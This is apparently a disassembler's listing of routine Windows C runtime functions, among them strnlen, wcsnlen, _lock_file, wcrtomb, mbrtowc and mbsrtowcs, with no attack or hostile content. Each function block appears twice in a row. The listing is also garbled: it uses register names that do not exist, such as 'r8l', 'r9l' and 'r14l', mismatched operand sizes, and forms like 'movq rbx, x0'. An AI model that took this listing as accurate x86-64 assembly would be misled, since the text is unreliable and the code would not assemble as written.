140007271loc_140007271:
140007271mov [rdx+24], eax
140007274cmp r9l, 1
140007278mov eax, 1
14000727dsbb eax, -1
140007280mov [rdx+28], r9l
140007284mov [rdx+20], eax
140007287test r10l, r10l
14000728ajne 0x1400072d7
14000728c
14000728cloc_14000728c:
14000728cmovsxd rcx, eax
14000728fsub r8l, 1074
140007296bsr ecx, [rdx+4*rcx+20]
14000729bshl eax, 5
14000729emov [rsi], r8l
1400072a1xor ecx, 31
1400072a4sub eax, ecx
1400072a6mov [rdi], eax
1400072a8
1400072a8loc_1400072a8:
1400072a8mov rax, rdx
1400072abadd rsp, 32
1400072afpop rbx
1400072b0pop rsi
1400072b1pop rdi
1400072b2ret
1400072b3
1400072b3 0f 1f 44 00 00 ..D..
1400072b8
1400072b8loc_1400072b8:
1400072b8xor ecx, ecx
1400072bamov eax, 1
1400072bftzcnt ecx, r9l
1400072c4mov [rdx+20], eax
1400072c7shr r9l, cl
1400072calea r8l, [rcx+32]
1400072cemov [rdx+24], r9l
1400072d2test r10l, r10l
1400072d5je 0x14000728c
1400072d7
1400072d7loc_1400072d7:
1400072d7lea eax, [r10+r8-1075]
1400072dfmov [rsi], eax
1400072e1mov eax, 53
1400072e6sub eax, r8l
1400072e9mov [rdi], eax
1400072ebjmp 0x1400072a8
1400071f0
1400071f0__d2b_D2A:
1400071f0push rdi
1400071f1push rsi
1400071f2push rbx
1400071f3sub rsp, 32
1400071f7mov ecx, 1
1400071fcmov rsi, rdx
1400071ffmovq rbx, x0
140007204mov rdi, r8
140007207call __Balloc_D2A
14000720cmov rdx, rax
14000720ftest rax, rax
140007212je 0x1400072a8
140007218mov rcx, rbx
14000721bmov rax, rbx
14000721eshr rcx, 32
140007222mov r9l, ecx
140007225shr ecx, 20
140007228and r9l, 0xfffff
14000722fmov r8l, r9l
140007232or r8l, 0x100000
140007239and ecx, 2047
14000723fcmovne r9l, r8l
140007243mov r10l, ecx
140007246test ebx, ebx
140007248je 0x1400072b8
14000724axor r8l, r8l
14000724dtzcnt r8l, ebx
140007252mov ecx, r8l
140007255shr eax, cl
140007257test r8l, r8l
14000725aje 0x140007271
14000725cmov ecx, 32
140007261mov ebx, r9l
140007264sub ecx, r8l
140007267shl ebx, cl
140007269mov ecx, r8l
14000726cor eax, ebx
14000726eshr r9l, cl
140007271
140007271loc_140007271:
140007271mov [rdx+24], eax
140007274cmp r9l, 1
140007278mov eax, 1
14000727dsbb eax, -1
140007280mov [rdx+28], r9l
140007284mov [rdx+20], eax
140007287test r10l, r10l
14000728ajne 0x1400072d7
14000728c
14000728cloc_14000728c:
14000728cmovsxd rcx, eax
14000728fsub r8l, 1074
140007296bsr ecx, [rdx+4*rcx+20]
14000729bshl eax, 5
14000729emov [rsi], r8l
1400072a1xor ecx, 31
1400072a4sub eax, ecx
1400072a6mov [rdi], eax
1400072a8
1400072a8loc_1400072a8:
1400072a8mov rax, rdx
1400072abadd rsp, 32
1400072afpop rbx
1400072b0pop rsi
1400072b1pop rdi
1400072b2ret
1400072b3
1400072b3 0f 1f 44 00 00 ..D..
1400072b8
1400072b8loc_1400072b8:
1400072b8xor ecx, ecx
1400072bamov eax, 1
1400072bftzcnt ecx, r9l
1400072c4mov [rdx+20], eax
1400072c7shr r9l, cl
1400072calea r8l, [rcx+32]
1400072cemov [rdx+24], r9l
1400072d2test r10l, r10l
1400072d5je 0x14000728c
1400072d7
1400072d7loc_1400072d7:
1400072d7lea eax, [r10+r8-1075]
1400072dfmov [rsi], eax
1400072e1mov eax, 53
1400072e6sub eax, r8l
1400072e9mov [rdi], eax
1400072ebjmp 0x1400072a8
1400071f0
1400072ed
1400072ed // align 0x10
1400072ed // align 0x10
1400072f0
1400072f0__strcp_D2A:
1400072f0mov rax, rcx
1400072f3lea rcx, [rdx+1]
1400072f7movzx edx, [rdx]
1400072famov [rax], dl
1400072fctest dl, dl
1400072feje 0x140007311
140007300
140007300loc_140007300:
140007300movzx edx, [rcx]
140007303add rax, 1
140007307add rcx, 1
14000730bmov [rax], dl
14000730dtest dl, dl
14000730fjne 0x140007300
140007311
140007311loc_140007311:
140007311ret
1400072f0
1400072f0__strcp_D2A:
1400072f0mov rax, rcx
1400072f3lea rcx, [rdx+1]
1400072f7movzx edx, [rdx]
1400072famov [rax], dl
1400072fctest dl, dl
1400072feje 0x140007311
140007300
140007300loc_140007300:
140007300movzx edx, [rcx]
140007303add rax, 1
140007307add rcx, 1
14000730bmov [rax], dl
14000730dtest dl, dl
14000730fjne 0x140007300
140007311
140007311loc_140007311:
140007311ret
1400072f0
140007312
140007312 // align 0x10
140007312 // align 0x10
140007320
140007320strnlen:
140007320xor r8l, r8l
140007323mov rax, rcx
140007326test rdx, rdx
140007329jne 0x14000733f
14000732bjmp 0x140007344
14000732d
14000732d 0f 1f 00 ...
140007330
140007330loc_140007330:
140007330add rax, 1
140007334mov r8, rax
140007337sub r8, rcx
14000733acmp r8, rdx
14000733djae 0x140007344
14000733f
14000733floc_14000733f:
14000733fcmp [rax], 0
140007342jne 0x140007330
140007344
140007344loc_140007344:
140007344mov rax, r8
140007347ret
140007320
140007320strnlen:
140007320xor r8l, r8l
140007323mov rax, rcx
140007326test rdx, rdx
140007329jne 0x14000733f
14000732bjmp 0x140007344
14000732d
14000732d 0f 1f 00 ...
140007330
140007330loc_140007330:
140007330add rax, 1
140007334mov r8, rax
140007337sub r8, rcx
14000733acmp r8, rdx
14000733djae 0x140007344
14000733f
14000733floc_14000733f:
14000733fcmp [rax], 0
140007342jne 0x140007330
140007344
140007344loc_140007344:
140007344mov rax, r8
140007347ret
140007320
140007348
140007348 // align 0x10
140007348 // align 0x10
140007350
140007350wcsnlen:
140007350xor r8l, r8l
140007353mov rax, rdx
140007356test rdx, rdx
140007359jne 0x140007369
14000735bjmp 0x140007374
14000735d
14000735d 0f 1f 00 ...
140007360
140007360loc_140007360:
140007360add r8, 1
140007364cmp rax, r8
140007367je 0x140007374
140007369
140007369loc_140007369:
140007369cmp [rcx+2*r8], 0
14000736fjne 0x140007360
140007371mov rax, r8
140007374
140007374loc_140007374:
140007374ret
140007350
140007350wcsnlen:
140007350xor r8l, r8l
140007353mov rax, rdx
140007356test rdx, rdx
140007359jne 0x140007369
14000735bjmp 0x140007374
14000735d
14000735d 0f 1f 00 ...
140007360
140007360loc_140007360:
140007360add r8, 1
140007364cmp rax, r8
140007367je 0x140007374
140007369
140007369loc_140007369:
140007369cmp [rcx+2*r8], 0
14000736fjne 0x140007360
140007371mov rax, r8
140007374
140007374loc_140007374:
140007374ret
140007350
140007375
140007375 // align 0x10
140007375 // align 0x10
140007380
140007380__p__fmode:
140007380mov rax, [rip+0x250a9]
140007387mov rax, [rax]
14000738aret
140007380
140007380__p__fmode:
140007380mov rax, [rip+0x250a9]
140007387mov rax, [rax]
14000738aret
140007380
14000738b
14000738b // align 0x10
14000738b // align 0x10
140007390
140007390__p__commode:
140007390mov rax, [rip+0x25089]
140007397mov rax, [rax]
14000739aret
140007390
140007390__p__commode:
140007390mov rax, [rip+0x25089]
140007397mov rax, [rax]
14000739aret
140007390
14000739b
14000739b // align 0x10
14000739b // align 0x10
1400073a0
1400073a0__p__acmdln:
1400073a0mov rax, [rip+0x25069]
1400073a7mov rax, [rax]
1400073aaret
1400073a0
1400073a0__p__acmdln:
1400073a0mov rax, [rip+0x25069]
1400073a7mov rax, [rax]
1400073aaret
1400073a0
1400073ab
1400073ab // align 0x10
1400073ab // align 0x10
1400073b0
1400073b0_lock_file:
1400073b0push rbx
1400073b1sub rsp, 32
1400073b5mov rbx, rcx
1400073b8xor ecx, ecx
1400073bacall __acrt_iob_func
1400073bfcmp rbx, rax
1400073c2jb 0x1400073d3
1400073c4mov ecx, 19
1400073c9call __acrt_iob_func
1400073cecmp rbx, rax
1400073d1jbe 0x1400073e8
1400073d3
1400073d3loc_1400073d3:
1400073d3lea rcx, [rbx+48]
1400073d7add rsp, 32
1400073dbpop rbx
1400073dcjmp [rip+0x29e05]
1400073e3nop [rax+rax]
1400073e8
1400073e8loc_1400073e8:
1400073e8xor ecx, ecx
1400073eacall __acrt_iob_func
1400073efmov rdx, rax
1400073f2mov rax, rbx
1400073f5sub rax, rdx
1400073f8sar rax, 4
1400073fcimul eax, eax, 0xffffffffaaaaaaab
140007402lea ecx, [rax+16]
140007405call _lock
14000740aor [rbx+24], 32768
140007411add rsp, 32
140007415pop rbx
140007416ret
1400073b0
1400073b0_lock_file:
1400073b0push rbx
1400073b1sub rsp, 32
1400073b5mov rbx, rcx
1400073b8xor ecx, ecx
1400073bacall __acrt_iob_func
1400073bfcmp rbx, rax
1400073c2jb 0x1400073d3
1400073c4mov ecx, 19
1400073c9call __acrt_iob_func
1400073cecmp rbx, rax
1400073d1jbe 0x1400073e8
1400073d3
1400073d3loc_1400073d3:
1400073d3lea rcx, [rbx+48]
1400073d7add rsp, 32
1400073dbpop rbx
1400073dcjmp [rip+0x29e05]
1400073e3nop [rax+rax]
1400073e8
1400073e8loc_1400073e8:
1400073e8xor ecx, ecx
1400073eacall __acrt_iob_func
1400073efmov rdx, rax
1400073f2mov rax, rbx
1400073f5sub rax, rdx
1400073f8sar rax, 4
1400073fcimul eax, eax, 0xffffffffaaaaaaab
140007402lea ecx, [rax+16]
140007405call _lock
14000740aor [rbx+24], 32768
140007411add rsp, 32
140007415pop rbx
140007416ret
1400073b0
140007417
140007417 // align 0x10
140007417 // align 0x10
140007420
140007420_unlock_file:
140007420push rbx
140007421sub rsp, 32
140007425mov rbx, rcx
140007428xor ecx, ecx
14000742acall __acrt_iob_func
14000742fcmp rbx, rax
140007432jb 0x140007443
140007434mov ecx, 19
140007439call __acrt_iob_func
14000743ecmp rbx, rax
140007441jbe 0x140007458
140007443
140007443loc_140007443:
140007443lea rcx, [rbx+48]
140007447add rsp, 32
14000744bpop rbx
14000744cjmp [rip+0x29dbd]
140007453nop [rax+rax]
140007458
140007458loc_140007458:
140007458and [rbx+24], -32769
14000745fxor ecx, ecx
140007461call __acrt_iob_func
140007466sub rbx, rax
140007469sar rbx, 4
14000746dimul ebx, ebx, 0xffffffffaaaaaaab
140007473lea ecx, [rbx+16]
140007476add rsp, 32
14000747apop rbx
14000747bjmp 0x140007a40
140007420
140007420_unlock_file:
140007420push rbx
140007421sub rsp, 32
140007425mov rbx, rcx
140007428xor ecx, ecx
14000742acall __acrt_iob_func
14000742fcmp rbx, rax
140007432jb 0x140007443
140007434mov ecx, 19
140007439call __acrt_iob_func
14000743ecmp rbx, rax
140007441jbe 0x140007458
140007443
140007443loc_140007443:
140007443lea rcx, [rbx+48]
140007447add rsp, 32
14000744bpop rbx
14000744cjmp [rip+0x29dbd]
140007453nop [rax+rax]
140007458
140007458loc_140007458:
140007458and [rbx+24], -32769
14000745fxor ecx, ecx
140007461call __acrt_iob_func
140007466sub rbx, rax
140007469sar rbx, 4
14000746dimul ebx, ebx, 0xffffffffaaaaaaab
140007473lea ecx, [rbx+16]
140007476add rsp, 32
14000747apop rbx
14000747bjmp 0x140007a40
140007420
140007480
140007480_get_invalid_parameter_handler:
140007480mov rax, [rip+0x29699]
140007487ret
140007480
140007480_get_invalid_parameter_handler:
140007480mov rax, [rip+0x29699]
140007487ret
140007480
140007488
140007488 // align 0x10
140007488 // align 0x10
140007490
140007490_set_invalid_parameter_handler:
140007490mov rax, rcx
140007493xchg [rip+0x29686], rax
14000749aret
140007490
140007490_set_invalid_parameter_handler:
140007490mov rax, rcx
140007493xchg [rip+0x29686], rax
14000749aret
140007490
14000749b
14000749b // align 0x10
14000749b // align 0x10
1400074a0
1400074a0__acrt_iob_func:
1400074a0push rbx
1400074a1sub rsp, 32
1400074a5mov ebx, ecx
1400074a7call __iob_func
1400074acmov ecx, ebx
1400074aelea rdx, [rcx+2*rcx]
1400074b2shl rdx, 4
1400074b6add rax, rdx
1400074b9add rsp, 32
1400074bdpop rbx
1400074beret
1400074a0
1400074a0__acrt_iob_func:
1400074a0push rbx
1400074a1sub rsp, 32
1400074a5mov ebx, ecx
1400074a7call __iob_func
1400074acmov ecx, ebx
1400074aelea rdx, [rcx+2*rcx]
1400074b2shl rdx, 4
1400074b6add rax, rdx
1400074b9add rsp, 32
1400074bdpop rbx
1400074beret
1400074a0
1400074bf
1400074bf // align 0x10
1400074bf // align 0x10
1400074c0
1400074c0__wcrtomb_cp:
1400074c0sub rsp, 88
1400074c4mov rax, rcx
1400074c7mov [rsp+104], dx
1400074ccmov ecx, r8l
1400074cftest r8l, r8l
1400074d2jne 0x1400074f0
1400074d4cmp dx, 255
1400074d9ja 0x140007534
1400074dbmov [rax], dl
1400074ddmov eax, 1
1400074e2
1400074e2loc_1400074e2:
1400074e2add rsp, 88
1400074e6ret
1400074e7
1400074e7 66 0f 1f 84 00 00 00 00 00 f........
1400074f0
1400074f0loc_1400074f0:
1400074f0lea rdx, [rsp+76]
1400074f5mov [rsp+40], r9l
1400074falea r8, [rsp+104]
1400074ffmov r9l, 1
140007505mov [rsp+56], rdx
14000750axor edx, edx
14000750cmov [rsp+76], 0
140007514mov [rsp+48], 0
14000751dmov [rsp+32], rax
140007522call [rip+0x29d20]
140007528test eax, eax
14000752aje 0x140007534
14000752cmov edx, [rsp+76]
140007530test edx, edx
140007532je 0x1400074e2
140007534
140007534loc_140007534:
140007534call _errno
140007539mov [rax], 42
14000753fmov eax, -1
140007544add rsp, 88
140007548ret
1400074c0
1400074c0__wcrtomb_cp:
1400074c0sub rsp, 88
1400074c4mov rax, rcx
1400074c7mov [rsp+104], dx
1400074ccmov ecx, r8l
1400074cftest r8l, r8l
1400074d2jne 0x1400074f0
1400074d4cmp dx, 255
1400074d9ja 0x140007534
1400074dbmov [rax], dl
1400074ddmov eax, 1
1400074e2
1400074e2loc_1400074e2:
1400074e2add rsp, 88
1400074e6ret
1400074e7
1400074e7 66 0f 1f 84 00 00 00 00 00 f........
1400074f0
1400074f0loc_1400074f0:
1400074f0lea rdx, [rsp+76]
1400074f5mov [rsp+40], r9l
1400074falea r8, [rsp+104]
1400074ffmov r9l, 1
140007505mov [rsp+56], rdx
14000750axor edx, edx
14000750cmov [rsp+76], 0
140007514mov [rsp+48], 0
14000751dmov [rsp+32], rax
140007522call [rip+0x29d20]
140007528test eax, eax
14000752aje 0x140007534
14000752cmov edx, [rsp+76]
140007530test edx, edx
140007532je 0x1400074e2
140007534
140007534loc_140007534:
140007534call _errno
140007539mov [rax], 42
14000753fmov eax, -1
140007544add rsp, 88
140007548ret
1400074c0
140007549
140007549 // align 0x10
140007549 // align 0x10
140007550
140007550wcrtomb:
140007550push rdi
140007551push rsi
140007552push rbx
140007553sub rsp, 48
140007557test rcx, rcx
14000755amov rbx, rcx
14000755dlea rax, [rsp+43]
140007562mov esi, edx
140007564cmove rbx, rax
140007568call ___mb_cur_max_func
14000756dmov edi, eax
14000756fcall ___lc_codepage_func
140007574movzx edx, si
140007577mov r9l, edi
14000757amov rcx, rbx
14000757dmov r8l, eax
140007580call __wcrtomb_cp
140007585cdqe
140007587add rsp, 48
14000758bpop rbx
14000758cpop rsi
14000758dpop rdi
14000758eret
140007550
140007550wcrtomb:
140007550push rdi
140007551push rsi
140007552push rbx
140007553sub rsp, 48
140007557test rcx, rcx
14000755amov rbx, rcx
14000755dlea rax, [rsp+43]
140007562mov esi, edx
140007564cmove rbx, rax
140007568call ___mb_cur_max_func
14000756dmov edi, eax
14000756fcall ___lc_codepage_func
140007574movzx edx, si
140007577mov r9l, edi
14000757amov rcx, rbx
14000757dmov r8l, eax
140007580call __wcrtomb_cp
140007585cdqe
140007587add rsp, 48
14000758bpop rbx
14000758cpop rsi
14000758dpop rdi
14000758eret
140007550
14000758f
14000758f // align 0x10
14000758f // align 0x10
140007590
140007590wcsrtombs:
140007590push r14
140007592push r13
140007594push r12
140007596push rbp
140007597push rdi
140007598push rsi
140007599push rbx
14000759asub rsp, 48
14000759exor r14l, r14l
1400075a1mov r12, rdx
1400075a4mov rbx, rcx
1400075a7mov rbp, r8
1400075aacall ___lc_codepage_func
1400075afmov esi, eax
1400075b1call ___mb_cur_max_func
1400075b6mov r13, [r12]
1400075bamov edi, eax
1400075bctest r13, r13
1400075bfje 0x140007609
1400075c1test rbx, rbx
1400075c4je 0x140007620
1400075c6test rbp, rbp
1400075c9jne 0x1400075eb
1400075cbjmp 0x140007660
1400075d0
1400075d0loc_1400075d0:
1400075d0cdqe
1400075d2add rbx, rax
1400075d5add r14, rax
1400075d8cmp [rbx-1], 0
1400075dcje 0x140007670
1400075e2add r13, 2
1400075e6cmp r14, rbp
1400075e9jae 0x140007660
1400075eb
1400075ebloc_1400075eb:
1400075ebmovzx edx, [r13]
1400075f0mov r9l, edi
1400075f3mov r8l, esi
1400075f6mov rcx, rbx
1400075f9call __wcrtomb_cp
1400075fetest eax, eax
140007600jg 0x1400075d0
140007602
140007602loc_140007602:
140007602mov r14, -1
140007609
140007609loc_140007609:
140007609mov rax, r14
14000760cadd rsp, 48
140007610pop rbx
140007611pop rsi
140007612pop rdi
140007613pop rbp
140007614pop r12
140007616pop r13
140007618pop r14
14000761aret
14000761b
14000761b 0f 1f 44 00 00 ..D..
140007620
140007620loc_140007620:
140007620lea rbp, [rsp+43]
140007625jmp 0x140007646
140007627
140007627 66 0f 1f 84 00 00 00 00 00 f........
140007630
140007630loc_140007630:
140007630movsxd rdx, eax
140007633sub eax, 1
140007636cdqe
140007638add r14, rdx
14000763bcmp [rsp+rax+43], 0
140007640je 0x140007680
140007642add r13, 2
140007646
140007646loc_140007646:
140007646movzx edx, [r13]
14000764bmov r9l, edi
14000764emov r8l, esi
140007651mov rcx, rbp
140007654call __wcrtomb_cp
140007659test eax, eax
14000765bjg 0x140007630
14000765djmp 0x140007602
14000765f
14000765f 90 .
140007660
140007660loc_140007660:
140007660mov [r12], r13
140007664jmp 0x140007609
140007666
140007666 66 2e 0f 1f 84 00 00 00 00 00 f.........
140007670
140007670loc_140007670:
140007670mov [r12], 0
140007678sub r14, 1
14000767cjmp 0x140007609
14000767e
14000767e 66 90 f.
140007680
140007680loc_140007680:
140007680sub r14, 1
140007684jmp 0x140007609
140007590
140007590wcsrtombs:
140007590push r14
140007592push r13
140007594push r12
140007596push rbp
140007597push rdi
140007598push rsi
140007599push rbx
14000759asub rsp, 48
14000759exor r14l, r14l
1400075a1mov r12, rdx
1400075a4mov rbx, rcx
1400075a7mov rbp, r8
1400075aacall ___lc_codepage_func
1400075afmov esi, eax
1400075b1call ___mb_cur_max_func
1400075b6mov r13, [r12]
1400075bamov edi, eax
1400075bctest r13, r13
1400075bfje 0x140007609
1400075c1test rbx, rbx
1400075c4je 0x140007620
1400075c6test rbp, rbp
1400075c9jne 0x1400075eb
1400075cbjmp 0x140007660
1400075d0
1400075d0loc_1400075d0:
1400075d0cdqe
1400075d2add rbx, rax
1400075d5add r14, rax
1400075d8cmp [rbx-1], 0
1400075dcje 0x140007670
1400075e2add r13, 2
1400075e6cmp r14, rbp
1400075e9jae 0x140007660
1400075eb
1400075ebloc_1400075eb:
1400075ebmovzx edx, [r13]
1400075f0mov r9l, edi
1400075f3mov r8l, esi
1400075f6mov rcx, rbx
1400075f9call __wcrtomb_cp
1400075fetest eax, eax
140007600jg 0x1400075d0
140007602
140007602loc_140007602:
140007602mov r14, -1
140007609
140007609loc_140007609:
140007609mov rax, r14
14000760cadd rsp, 48
140007610pop rbx
140007611pop rsi
140007612pop rdi
140007613pop rbp
140007614pop r12
140007616pop r13
140007618pop r14
14000761aret
14000761b
14000761b 0f 1f 44 00 00 ..D..
140007620
140007620loc_140007620:
140007620lea rbp, [rsp+43]
140007625jmp 0x140007646
140007627
140007627 66 0f 1f 84 00 00 00 00 00 f........
140007630
140007630loc_140007630:
140007630movsxd rdx, eax
140007633sub eax, 1
140007636cdqe
140007638add r14, rdx
14000763bcmp [rsp+rax+43], 0
140007640je 0x140007680
140007642add r13, 2
140007646
140007646loc_140007646:
140007646movzx edx, [r13]
14000764bmov r9l, edi
14000764emov r8l, esi
140007651mov rcx, rbp
140007654call __wcrtomb_cp
140007659test eax, eax
14000765bjg 0x140007630
14000765djmp 0x140007602
14000765f
14000765f 90 .
140007660
140007660loc_140007660:
140007660mov [r12], r13
140007664jmp 0x140007609
140007666
140007666 66 2e 0f 1f 84 00 00 00 00 00 f.........
140007670
140007670loc_140007670:
140007670mov [r12], 0
140007678sub r14, 1
14000767cjmp 0x140007609
14000767e
14000767e 66 90 f.
140007680
140007680loc_140007680:
140007680sub r14, 1
140007684jmp 0x140007609
140007590
140007686
140007686 // align 0x10
140007686 // align 0x10
140007690
140007690__mbrtowc_cp:
140007690push rdi
140007691push rbx
140007692sub rsp, 72
140007696mov rdi, rcx
140007699mov rbx, rdx
14000769ctest rdx, rdx
14000769fje 0x14000776d
1400076a5test r8, r8
1400076a8je 0x1400077e4
1400076aemov eax, [r9]
1400076b1movzx edx, [rdx]
1400076b4mov [r9], 0
1400076bbmov [rsp+60], eax
1400076bftest dl, dl
1400076c1je 0x140007768
1400076c7cmp [rsp+136], 1
1400076cfjbe 0x140007748
1400076d1test al, al
1400076d3jne 0x140007780
1400076d9mov [rsp+120], r9
1400076demov ecx, [rsp+128]
1400076e5mov [rsp+112], r8
1400076eacall [rip+0x29b18]
1400076f0test eax, eax
1400076f2je 0x140007748
1400076f4mov r8, [rsp+112]
1400076f9mov r9, [rsp+120]
1400076fecmp r8, 1
140007702je 0x1400077de
140007708mov [rsp+32], rdi
14000770dmov r9l, 2
140007713mov r8, rbx
140007716mov [rsp+40], 1
14000771e
14000771eloc_14000771e:
14000771emov ecx, [rsp+128]
140007725mov edx, 8
14000772acall [rip+0x29ae8]
140007730test eax, eax
140007732je 0x1400077cc
140007738mov eax, 2
14000773dadd rsp, 72
140007741pop rbx
140007742pop rdi
140007743ret
140007744
140007744 0f 1f 40 00 ..@.
140007748
140007748loc_140007748:
140007748mov eax, [rsp+128]
14000774ftest eax, eax
140007751jne 0x1400077a0
140007753movzx eax, [rbx]
140007756mov [rdi], ax
140007759
140007759loc_140007759:
140007759mov eax, 1
14000775eadd rsp, 72
140007762pop rbx
140007763pop rdi
140007764ret
140007765
140007765 0f 1f 00 ...
140007768
140007768loc_140007768:
140007768xor edx, edx
14000776amov [rcx], dx
14000776d
14000776dloc_14000776d:
14000776dxor eax, eax
14000776f
14000776floc_14000776f:
14000776fadd rsp, 72
140007773pop rbx
140007774pop rdi
140007775ret
140007776
140007776 66 2e 0f 1f 84 00 00 00 00 00 f.........
140007780
140007780loc_140007780:
140007780mov [rsp+61], dl
140007784mov r9l, 2
14000778alea r8, [rsp+60]
14000778fmov [rsp+40], 1
140007797mov [rsp+32], rcx
14000779cjmp 0x14000771e
14000779e
14000779e 66 90 f.
1400077a0
1400077a0loc_1400077a0:
1400077a0mov [rsp+40], 1
1400077a8mov ecx, [rsp+128]
1400077afmov r8, rbx
1400077b2mov r9l, 1
1400077b8mov [rsp+32], rdi
1400077bdmov edx, 8
1400077c2call [rip+0x29a50]
1400077c8test eax, eax
1400077cajne 0x140007759
1400077cc
1400077ccloc_1400077cc:
1400077cccall _errno
1400077d1mov [rax], 42
1400077d7mov eax, -1
1400077dcjmp 0x14000776f
1400077de
1400077deloc_1400077de:
1400077demovzx eax, [rbx]
1400077e1mov [r9], al
1400077e4
1400077e4loc_1400077e4:
1400077e4mov eax, -2
1400077e9jmp 0x14000776f
140007690
140007690__mbrtowc_cp:
140007690push rdi
140007691push rbx
140007692sub rsp, 72
140007696mov rdi, rcx
140007699mov rbx, rdx
14000769ctest rdx, rdx
14000769fje 0x14000776d
1400076a5test r8, r8
1400076a8je 0x1400077e4
1400076aemov eax, [r9]
1400076b1movzx edx, [rdx]
1400076b4mov [r9], 0
1400076bbmov [rsp+60], eax
1400076bftest dl, dl
1400076c1je 0x140007768
1400076c7cmp [rsp+136], 1
1400076cfjbe 0x140007748
1400076d1test al, al
1400076d3jne 0x140007780
1400076d9mov [rsp+120], r9
1400076demov ecx, [rsp+128]
1400076e5mov [rsp+112], r8
1400076eacall [rip+0x29b18]
1400076f0test eax, eax
1400076f2je 0x140007748
1400076f4mov r8, [rsp+112]
1400076f9mov r9, [rsp+120]
1400076fecmp r8, 1
140007702je 0x1400077de
140007708mov [rsp+32], rdi
14000770dmov r9l, 2
140007713mov r8, rbx
140007716mov [rsp+40], 1
14000771e
14000771eloc_14000771e:
14000771emov ecx, [rsp+128]
140007725mov edx, 8
14000772acall [rip+0x29ae8]
140007730test eax, eax
140007732je 0x1400077cc
140007738mov eax, 2
14000773dadd rsp, 72
140007741pop rbx
140007742pop rdi
140007743ret
140007744
140007744 0f 1f 40 00 ..@.
140007748
140007748loc_140007748:
140007748mov eax, [rsp+128]
14000774ftest eax, eax
140007751jne 0x1400077a0
140007753movzx eax, [rbx]
140007756mov [rdi], ax
140007759
140007759loc_140007759:
140007759mov eax, 1
14000775eadd rsp, 72
140007762pop rbx
140007763pop rdi
140007764ret
140007765
140007765 0f 1f 00 ...
140007768
140007768loc_140007768:
140007768xor edx, edx
14000776amov [rcx], dx
14000776d
14000776dloc_14000776d:
14000776dxor eax, eax
14000776f
14000776floc_14000776f:
14000776fadd rsp, 72
140007773pop rbx
140007774pop rdi
140007775ret
140007776
140007776 66 2e 0f 1f 84 00 00 00 00 00 f.........
140007780
140007780loc_140007780:
140007780mov [rsp+61], dl
140007784mov r9l, 2
14000778alea r8, [rsp+60]
14000778fmov [rsp+40], 1
140007797mov [rsp+32], rcx
14000779cjmp 0x14000771e
14000779e
14000779e 66 90 f.
1400077a0
1400077a0loc_1400077a0:
1400077a0mov [rsp+40], 1
1400077a8mov ecx, [rsp+128]
1400077afmov r8, rbx
1400077b2mov r9l, 1
1400077b8mov [rsp+32], rdi
1400077bdmov edx, 8
1400077c2call [rip+0x29a50]
1400077c8test eax, eax
1400077cajne 0x140007759
1400077cc
1400077ccloc_1400077cc:
1400077cccall _errno
1400077d1mov [rax], 42
1400077d7mov eax, -1
1400077dcjmp 0x14000776f
1400077de
1400077deloc_1400077de:
1400077demovzx eax, [rbx]
1400077e1mov [r9], al
1400077e4
1400077e4loc_1400077e4:
1400077e4mov eax, -2
1400077e9jmp 0x14000776f
140007690
1400077eb
1400077eb // align 0x10
1400077eb // align 0x10
1400077f0
1400077f0mbrtowc:
1400077f0push r12
1400077f2push rbp
1400077f3push rdi
1400077f4push rsi
1400077f5push rbx
1400077f6sub rsp, 64
1400077faxor eax, eax
1400077fcmov rbx, rcx
1400077fftest rcx, rcx
140007802mov [rsp+62], ax
140007807lea rax, [rsp+62]
14000780cmov rsi, r9
14000780fcmove rbx, rax
140007813mov rdi, rdx
140007816mov rbp, r8
140007819call ___mb_cur_max_func
14000781emov r12l, eax
140007821call ___lc_codepage_func
140007826test rsi, rsi
140007829mov [rsp+40], r12l
14000782emov r8, rbp
140007831mov [rsp+32], eax
140007835lea r9, [rip+0x292fc]
14000783cmov rdx, rdi
14000783fmov rcx, rbx
140007842cmovne r9, rsi
140007846call __mbrtowc_cp
14000784bcdqe
14000784dadd rsp, 64
140007851pop rbx
140007852pop rsi
140007853pop rdi
140007854pop rbp
140007855pop r12
140007857ret
1400077f0
1400077f0mbrtowc:
1400077f0push r12
1400077f2push rbp
1400077f3push rdi
1400077f4push rsi
1400077f5push rbx
1400077f6sub rsp, 64
1400077faxor eax, eax
1400077fcmov rbx, rcx
1400077fftest rcx, rcx
140007802mov [rsp+62], ax
140007807lea rax, [rsp+62]
14000780cmov rsi, r9
14000780fcmove rbx, rax
140007813mov rdi, rdx
140007816mov rbp, r8
140007819call ___mb_cur_max_func
14000781emov r12l, eax
140007821call ___lc_codepage_func
140007826test rsi, rsi
140007829mov [rsp+40], r12l
14000782emov r8, rbp
140007831mov [rsp+32], eax
140007835lea r9, [rip+0x292fc]
14000783cmov rdx, rdi
14000783fmov rcx, rbx
140007842cmovne r9, rsi
140007846call __mbrtowc_cp
14000784bcdqe
14000784dadd rsp, 64
140007851pop rbx
140007852pop rsi
140007853pop rdi
140007854pop rbp
140007855pop r12
140007857ret
1400077f0
140007858
140007858 // align 0x10
140007858 // align 0x10
140007860
140007860mbsrtowcs:
140007860push r14
140007862push r13
140007864push r12
140007866push rbp
140007867push rdi
140007868push rsi
140007869push rbx
14000786asub rsp, 64
14000786elea rax, [rip+0x292bf]
140007875mov rsi, r9
140007878test r9, r9
14000787bmov r14, rcx
14000787emov rbx, rdx
140007881cmove rsi, rax
140007885mov rdi, r8
140007888call ___lc_codepage_func
14000788dmov r12l, eax
140007890call ___mb_cur_max_func
140007895mov ebp, eax
140007897test rbx, rbx
14000789aje 0x140007960
1400078a0mov rdx, [rbx]
1400078a3test rdx, rdx
1400078a6je 0x140007960
1400078actest r14, r14
1400078afje 0x140007920
1400078b1xor r13l, r13l
1400078b4test rdi, rdi
1400078b7jne 0x1400078d7
1400078b9jmp 0x140007905
1400078bb
1400078bb 0f 1f 44 00 00 ..D..
1400078c0
1400078c0loc_1400078c0:
1400078c0mov rdx, [rbx]
1400078c3cdqe
1400078c5add r14, 2
1400078c9add r13, rax
1400078ccadd rdx, rax
1400078cfmov [rbx], rdx
1400078d2cmp r13, rdi
1400078d5jae 0x140007905
1400078d7
1400078d7loc_1400078d7:
1400078d7mov [rsp+40], ebp
1400078dbmov r8, rdi
1400078demov r9, rsi
1400078e1mov rcx, r14
1400078e4mov [rsp+32], r12l
1400078e9sub r8, r13
1400078eccall __mbrtowc_cp
1400078f1test eax, eax
1400078f3jg 0x1400078c0
1400078f5cmp r13, rdi
1400078f8jae 0x140007905
1400078fatest eax, eax
1400078fcjne 0x140007905
1400078femov [rbx], 0
140007905
140007905loc_140007905:
140007905mov rax, r13
140007908add rsp, 64
14000790cpop rbx
14000790dpop rsi
14000790epop rdi
14000790fpop rbp
